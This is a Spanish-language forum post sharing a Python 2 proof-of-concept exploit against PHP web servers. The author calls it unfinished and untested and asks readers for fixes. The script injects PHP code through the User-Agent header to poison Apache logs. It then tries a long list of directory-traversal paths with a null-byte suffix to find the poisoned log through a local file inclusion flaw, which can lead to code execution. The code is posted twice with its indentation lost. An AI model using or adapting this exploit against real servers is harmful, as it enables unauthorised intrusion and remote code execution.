Código:
import socket, urllib2, string
host=raw_input("Host : ")
rutarfi=raw_input("Ruta : ")
socket = socket.socket()
socket.connect((host,80))
print "Conectado"
numero=0
CRLF ="\r\n"
path = "index.html"
navegador = "User-Agent:<h1>AQUI</h1> ######<? echo '<h1>Funciono</h1>' ; ?>"
cabeceras = "Get "+path+" HTTP/1.1"+CRLF+" Host:"+host+CRLF+navegador+CRLF * 2
listalogs = ["../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../var/www/logs/access_log",
"../../../../../../../var/www/logs/access.log",
"../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../var/log/apache/access_log",
"../../../../../../../var/log/apache2/access_log",
"../../../../../../../var/log/apache/access.log",
"../../../../../../../var/log/apache2/access.log",
"../../../../../../../var/log/access_log",
"../../../../../../../var/log/access.log",
"../../../../../../../var/www/logs/error_log",
"../../../../../../../var/www/logs/error.log",
"../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../var/log/apache/error_log",
"../../../../../../../var/log/apache2/error_log",
"../../../../../../../var/log/apache/error.log",
"../../../../../../../var/log/apache2/error.log",
"../../../../../../../var/log/error_log",
"../../../../../../../var/log/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/access_log"]
socket.send(cabeceras)
socket.close()
print "Logs infectados"
print "Buscando el log correcto..."
for log in listalogs:
url = "http://"+host+"/"+rutarfi+log+"%00"
web = urllib2.urlopen(url)
codigo = web.read()
if codigo.find("#####") >= 0:
print "Log encontrado\nEscribiendo la url en url.txt"
raw_input()
archivo=open("url.txt","w")
archivo.write(url)
archivo.close()
exit(1)
print "Logs no encontrados "
raw_input()
Si alguien enncuentra un fallo que lo ponga aqui, y si alguien me pudiera explicar como escribir la ultima parte del exploit de perl en python se lo agradeceria mucho.No está hecho del todo es solo un poc y todavia no lo he probado , cuando pueda usar mi ordenador con mi server lo probare.host=raw_input("Host : ")
rutarfi=raw_input("Ruta : ")
socket = socket.socket()
socket.connect((host,80))
print "Conectado"
numero=0
CRLF ="\r\n"
path = "index.html"
navegador = "User-Agent:<h1>AQUI</h1> ######<? echo '<h1>Funciono</h1>' ; ?>"
cabeceras = "Get "+path+" HTTP/1.1"+CRLF+" Host:"+host+CRLF+navegador+CRLF * 2
listalogs = ["../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../var/www/logs/access_log",
"../../../../../../../var/www/logs/access.log",
"../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../var/log/apache/access_log",
"../../../../../../../var/log/apache2/access_log",
"../../../../../../../var/log/apache/access.log",
"../../../../../../../var/log/apache2/access.log",
"../../../../../../../var/log/access_log",
"../../../../../../../var/log/access.log",
"../../../../../../../var/www/logs/error_log",
"../../../../../../../var/www/logs/error.log",
"../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../var/log/apache/error_log",
"../../../../../../../var/log/apache2/error_log",
"../../../../../../../var/log/apache/error.log",
"../../../../../../../var/log/apache2/error.log",
"../../../../../../../var/log/error_log",
"../../../../../../../var/log/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/access_log"]
socket.send(cabeceras)
socket.close()
print "Logs infectados"
print "Buscando el log correcto..."
for log in listalogs:
url = "http://"+host+"/"+rutarfi+log+"%00"
web = urllib2.urlopen(url)
codigo = web.read()
if codigo.find("#####") >= 0:
print "Log encontrado\nEscribiendo la url en url.txt"
raw_input()
archivo=open("url.txt","w")
archivo.write(url)
archivo.close()
exit(1)
print "Logs no encontrados "
raw_input()
Agradeezco todo tipo de consejos y correciones que me den










Autor




En línea








